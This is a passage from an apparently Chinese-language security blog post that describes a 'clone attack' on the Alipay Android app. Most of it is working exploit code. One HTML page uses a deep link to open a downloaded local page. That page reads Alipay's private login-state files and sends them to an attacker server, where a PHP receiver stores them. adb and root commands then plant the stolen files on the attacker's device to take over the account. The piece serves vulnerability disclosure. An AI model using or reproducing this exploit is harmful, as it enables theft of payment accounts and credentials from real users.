攻击阶段2达到了读取支付宝app私有文件的目的
攻击阶段3 - 克隆攻击
2012年黑哥就提到过克隆攻击的思路,可参考《Attack Your Android Apps By Webview》
同一用户使用账号密码登录多个设备支付宝是会被要求进行安全验证的(如选出该账号的好友、短信验证)
但是通过拷贝/data/data/com.eg.android.AlipayGphone下的文件到其他设备的方式,支付宝是不会有安全验证的
猜测支付宝在第一次运行之后就不再判断设备指纹,所以可被克隆攻击。
测试的时候通过删除文件(可以用类似二分法提高效率)的方法逐渐确定和用户登录状态相关的文件
经过一段时间的测试,发现支付宝中与用户登录状态相关的文件有如下几个
├── databases
│ ├── alipayclient.db
│ └── alipayclient.db-journal
├── files
│ └── SGMANAGER_DATA2
└── shared_prefs
├── alipay_tid_storage.xml
└── secuitySharedDataStore.xml
攻击阶段3确定了与支付宝登录状态相关的文件,并读取这些文件回传到攻击者服务器上,攻击者拿到文件后将文件拷贝到攻击机上即可控制被攻击者账户
完整的exp
结合第一阶段、第二阶段和第三阶段的攻击,最终可构造几个exp文件如下
exp.html:
<iframe style="display:none" src="exp.php"></iframe>
<script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js"></script>
<script type="text/javascript">
$(function(){
function clicksp(){
$("#sp").trigger("click");
}
setTimeout(clicksp, 500);
});
</script>
<a href="alipayqr://platformapi/startapp?saId=10000007&clientVersion=3.7.0.0718&qrcode=file:///sdcard/Download/exp2.html"><span id="sp"></span></a>
exp.php
<?php
header("Content-Disposition: attachment; filename=exp2.html");
echo file_get_contents('exp2.html');
exp2.html:
<h2>Hello Alipay!</h2>
<script>
var server = "http://10.210.38.162:8888/recv.php";
function createXHR(){
if(typeof XMLHttpRequest != 'undefined'){
return new XMLHttpRequest();
}else if(typeof ActiveXObject != 'undefined'){
if(typeof arguments.callee.activeXString != 'string'){
var versions = ['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp'];
for(var i=0;i<versions.length;i++){
try{
var xhr = new ActiveXObject(versions[i]);
arguments.callee.activeXString = versions[i];
return xhr;
}catch(ex){}
}
}
return new ActiveXObject(arguments.callee.activeXString);
}else{
throw new Error('No XHR Object available');
}
}
// send POST Request
function sendPostRequest(url,data,headers,callback){
var xhr = createXHR();
xhr.onload = function(){
callback(xhr.responseText);
}
xhr.open('POST',url,false);
if(typeof(headers)=='object'){
for(var index in headers){
if(typeof(headers[index])!='function'){
xhr.setRequestHeader(index,headers[index]);
}
}
}
xhr.send(data);
}
// send GET Request to read file and return base64(file_content)
function sendGetRequestForB64File(url, filename, callback) {
var xhr = createXHR();
xhr.onload = function() {
var reader = new FileReader();
reader.onloadend = function() {
var result = reader.result;
var data = result.substr(result.search('base64,') + 'base64,'.length,result.length);
data = data.replace(/\+/g,'-').replace(/\//g, '_');
callback(filename, data);
}
reader.readAsDataURL(xhr.response);
};
xhr.open('GET', url);
xhr.responseType = 'blob';
xhr.send();
}
var files = Array(
'databases/alipayclient.db',
'databases/alipayclient.db-journal',
'files/SGMANAGER_DATA2',
'shared_prefs/alipay_tid_storage.xml',
'shared_prefs/secuitySharedDataStore.xml'
);
var base_path = 'file:///data/data/com.eg.android.AlipayGphone/';
for(var each in files){
var file_path = base_path + files[each]
sendGetRequestForB64File(file_path,files[each],function(filename, response){
sendPostRequest(
server,
'name=' + escape(filename) + '&' + 'content=' + escape(response),
{"Content-type" : "application/x-www-form-urlencoded"},
function(a){}
);
});
}
</script>
recv.php:
因为我是在内网接收的数据,所以测试时为了方便直接接收参数就写文件了
大佬们把这个脚本丢到自己服务器上测试的时候小心一点,可能会被别人写shell XD
<?php
function base64url_decode($data) {
return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
file_put_contents('/home/dlive/Desktop/exp/clone_attack/'.$_POST['name'], base64url_decode($_POST['content']));
攻击者将从被攻击者手机上窃取的文件拷贝到自己手机上:
adb -s 049219950024a175 install ~/Desktop/clone/apk/alipay.apk
adb -s 049219950024a175 shell
su
adb -s 049219950024a175 push ~/Desktop/clone/exp/clone_attack/ /sdcard/
cp -R /sdcard/clone_attack/* /data/data/com.eg.android.AlipayGphone/
chmod -R 777 /data/data/com.eg.android.AlipayGphone/
然后打开app即可
攻击者通过拷贝攻击,无需回答身份验证问题,无需短信验证,即可登录受害者账户,并且无需付款密码即可使用付款码
具体攻击操作可见视频演示(不是很会处理视频,导致视频质量有点差,希望大家不要介意)
https://youtu.be/o6IbSAJUUYo
总结
总的来说这个漏洞原理比较简单,克隆攻击所用到的漏洞类型都是已经在网上被曝出过的,
但是为什么还有如此多的app存在被这种攻击方式攻击的风险,这一点是值得思考的。
整个漏洞利用过程全靠自己猜想验证,如果哪里描述的不准确欢迎交流指正。
参考
关于Android平台WebView控件存在跨域访问高危漏洞的安全公告
http://www.cnvd.org.cn/webinfo/show/4365?from=timeline&isappinstalled=0Android安全开发之浅谈网页打开APP
https://yq.aliyun.com/articles/57088Webview跨源攻击分析
http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/Attack Your Android Apps By Webview
http://blog.knownsec.com/2013/03/attack-your-android-apps-by-webview/Andorid Intent 与 Chrome
https://developer.chrome.com/multidevice/android/intents?spm=5176.100239.blogcont57088.9.1c29be50KIPvAG
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!